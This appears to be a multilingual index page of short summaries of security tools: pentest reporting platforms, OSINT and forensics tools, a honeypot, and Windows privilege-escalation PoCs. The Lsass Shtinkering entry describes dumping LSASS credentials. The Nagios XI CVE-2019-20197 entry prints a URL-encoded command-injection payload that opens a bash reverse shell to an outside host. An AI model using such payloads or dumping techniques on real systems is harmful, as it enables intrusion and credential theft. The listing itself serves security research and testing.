APTRS

APTRS APTRS（Automated Penetration Testing Reporting System）は、ペネトレーションテスターやセキュリティ組織向けに設計されたPythonとDjangoベースの自動レポート作成ツールです。このツールは、ユーザーが手動のアプローチを排除し、直接PDFやExcelレポートを作成できるようにすることで、レポート生成プロセスを効率化します。さらに、APTRSはさまざまなプロジェクト内の脆弱性を監視および管理する体系的な方法を提供します。APTRSを使用して、ペネトレーションテストプロジェクトを整理し効率的に保ちましょう。...

CVE-2020-0753-and-CVE-2020-0754

CVE-2020-0753、CVE-2020-0754 的分析报告与 PoC，以及六个已修复的 Windows DOS 漏洞 利用文件系统竞态条件漏洞——CVE-2020-0753 与 CVE-2020-0754 分析 在上一轮补丁星期二中，Windows 错误报告服务修复了两个权限提升漏洞，分别编号为 CVE-2020-0753 和 CVE-2020-0754。这两个漏洞均利用了该服务在文件系统操作中的一个竞态条件漏洞。然而，由于竞争窗口较小且文件释放位置不确定，这两个漏洞并不容易利用。在此我们分享利用它们的技术。 我们的报告中给出了两个竞态漏洞的根本原因，其实际原因可概括为...

CVE-2020-0753-and-CVE-2020-0754

CVE-2020-0753、CVE-2020-0754および6つの未修正のWindows DOS脆弱性のWriteupとPOC ファイルシステムの競合状態バグの悪用 - CVE-2020-0753およびCVE-2020-0754の分析 Windows Error Reportingサービスは、先月のPatch...

Lsass-Shtinkering

Lsass Shtinkering 通过滥用 Windows 错误报告服务转储 LSASS 的新方法。 它使用 ALPC 协议向该服务发送消息，报告 LSASS 上的异常。 该报告将导致该服务转储 LSASS 的内存。 先决条件 注册表值 "DumpType" 位于 "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" 下，应设置为 2。 致谢 Asaf Gilboa 参考...

lunar

LUNAR ロックダウンUNIX監査およびレポート バージョン 現在のバージョン 15.9.1 最新のバージョン情報については、lunar.sh および changelog を参照してください。 ライセンス CC BY-SA: https://creativecommons.org/licenses/by-sa/4.0/ ここでサポート: https://ko-fi.com/richardatlateralblast 注意 このコードは監査モードでのみ実行してください（例：-a または --audit スイッチ）。...

DirCreate2System

DirCreate2System Explotando bugs de creación de directorios privilegiados con Windows Error Reporting para obtener NT AUTHORITY\SYSTEM Breve descripción: He descubierto que comctl32.dll que falta en el directorio del sistema que realmente no existe es cargado por wermgr.exe a través del informe d...

CVE-2019-20197

CVE-2019-20197 Nagios XI远程命令执行漏洞 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

writehat

WriteHat は、レポート作成プロセスから Microsoft Word（そして多くの苦痛）を取り除くレポートツールです。Markdown -- HTML -- PDF 。ペネトレーションテスターによってペネトレーションテスターのために作られましたが、あらゆる種類のレポートの生成に使用できます。Django Python 3 で書かれています。 特徴: 美しいペンテストレポートを簡単に生成 その場でドラッグ＆ドロップできるレポートビルダー Markdown対応 – コードブロック、テーブルなど 画像の切り抜き、注釈、キャプション、アップロード...

contact.sh

contact.sh セキュリティ脆弱性を報告するための連絡先を見つけるOSINTツールです。 インストール 🐧 GNU/Linux whois パッケージと jq パッケージがインストールされていることを確認してください。 root@kitploit: $ git clone https://github.com/EdOverflow/contact.sh.git $ cd contact.sh/ $ chmod u+x contact.sh $ ./contact.sh -d google.com -c google 🍎 OSX root@kitploit: $ brew insta...

Apktool

Apktool これはApktoolのリポジトリです。ウェブサイトはapktool.orgリポジトリにあります。 Apktoolは、サードパーティ製のクローズドなバイナリAndroidアプリをリバースエンジニアリングするためのツールです。リソースをほぼ元の形式にデコードし、いくつかの変更を加えた後に再構築できます。また、smaliコードのステップバイステップでのデバッグも可能にします。プロジェクトのようなファイル構造と、apkのビルドなどの繰り返し作業の自動化により、アプリの操作を容易にします。 Apktoolは決して...

sysreptor

セキュリティ専門家向けにペンテストレポート作成を簡素化する、簡単でカスタマイズ可能なペンテストレポーティングプラットフォームです。 FFGは中央の国家資金提供機関であり、オーストリアのイノベーション力を強化しています。 このプロジェクトはFFGから資金提供を受けています。...

reverie

reverie Automated Pentest Tools Designed For Parrot Linux this tool will make your basic pentesting task like Information Gathering, Security Auditing, And Reporting so this tool will do every task fully automatic. Usage Guide Download / Clone git clone https://github.com/baguswiratmaadi/reverie ...

Telegrip

こんにちは 👋 Telegrip は、Telegram 関連のケースを扱う GUI デジタルフォレンジックツールです。 Telegrip は以下の機能を提供します： 1. Telegrip は、Android デバイスからデバイス情報と Telegram 関連の全データを含むスパースイメージを取得します。 2. チャンネルやグループのような公開メッセージから、シークレットや通常メッセージのようなプライベートメッセージまで、あらゆる種類のメッセージをパース・分析し、それらを人間が読める形式に変換して、デジタル調査担当者の調査プロセスを支援します。 3...

tsusen

Tsusen 津波センサー is a standalone network sensor made for gathering information from the regular traffic coming from the outside i.e. Internet on a daily basis e.g. mass-scans, service-scanners, etc.. Any disturbances should be closely watched for as those can become a good prediction base of...

submonitor

submonitor by xpl0ited1 説明 Slack、Discord、Telegramへの報告機能を備えたサブドメインモニター 使用方法: targets.txtファイルでスキャン対象を設定し、config.yamlで報告設定を行い、毎日実行するcronジョブを作成します root@kitploit: crontab -e 0 8 /usr/bin/submonitor リリースセクションからコンパイル済みバイナリをダウンロードしてください: https://github.com/xpl0ited1/submonitor/releases/...

RapidWebRecon

Nuclei to PDF レポート生成ツール 技術的な脆弱性スキャンと経営層向けレポートのギャップを埋めるために設計された、プロフェッショナルグレードの自動化ツールです。Adi Mahluf（Tenroot Cyber Security） によって開発されました。 🚀 概要 このプロジェクトは、Webアセットを監査するためのシームレスな「ワンコマンド」ワークフローを提供します。高性能なNuclei...

cve-2020-0618

CVE-2020-0618 ハニーポット CVE-2020-0618 SQL Reporting Services RCE の悪用試行を検出して記録します SSRS と同様のコンテンツとヘッダーを提供し、検索エンジン（Google、Shodan など）でのインデックス登録の可能性を高めます 以下の素晴らしい研究に基づいています: MDSec および x1sec インストール コードを入手 Go 環境が準備されていることを確認してください。 root@kitploit: git clone https://github.com/wortell/cve-2020-0618 証明書の生成...

ADRecon

从 https://github.com/adrecon/ADRecon 下载 ADRecon: Active Directory 侦察 ADRecon 是一个从 AD 环境中提取并整合各种工件（如下所示）的工具。这些信息可以呈现在一个特殊格式的 Microsoft Excel 报告中，该报告包含带有指标的摘要视图，便于分析并提供目标 AD 环境当前状态的整体视图。 该工具对各类安全专业人士（如审计员、DFIR 分析师、学生、管理员等）非常有用。它也可以成为渗透测试人员宝贵的后渗透工具。...

WhoCord

🕵️‍♂️ WhoCord v1.1 将任何用户名、电子邮件、域名、电话号码、图像、URL 或探测字符串转化为完整的身份档案。 WhoCord 是一个模块化的 OSINT 调查平台，可运行数十种开源工具、构建知识图谱、检测关联关系，并生成 AI 增强的深色主题 HTML 报告——所有内容实时流式传输到现代 React 仪表板。 ⚡ 功能 8 个调查模块 – 用户名 / 手动、Discord、电子邮件、域名、电话、图像、URL、数据探测（自动检测）。 Discord 原生链接解析 – 提取并解析目标用户共享的 Instagram、TikTok、Facebook 和 Twitter 跟踪链接。...

memguard

MemGuard Software enclave for storage of sensitive information in memory. This package attempts to reduce the likelihood of sensitive data being exposed when in memory. It aims to support all major operating systems and is written in pure Go. Features Sensitive data is encrypted and authenticated...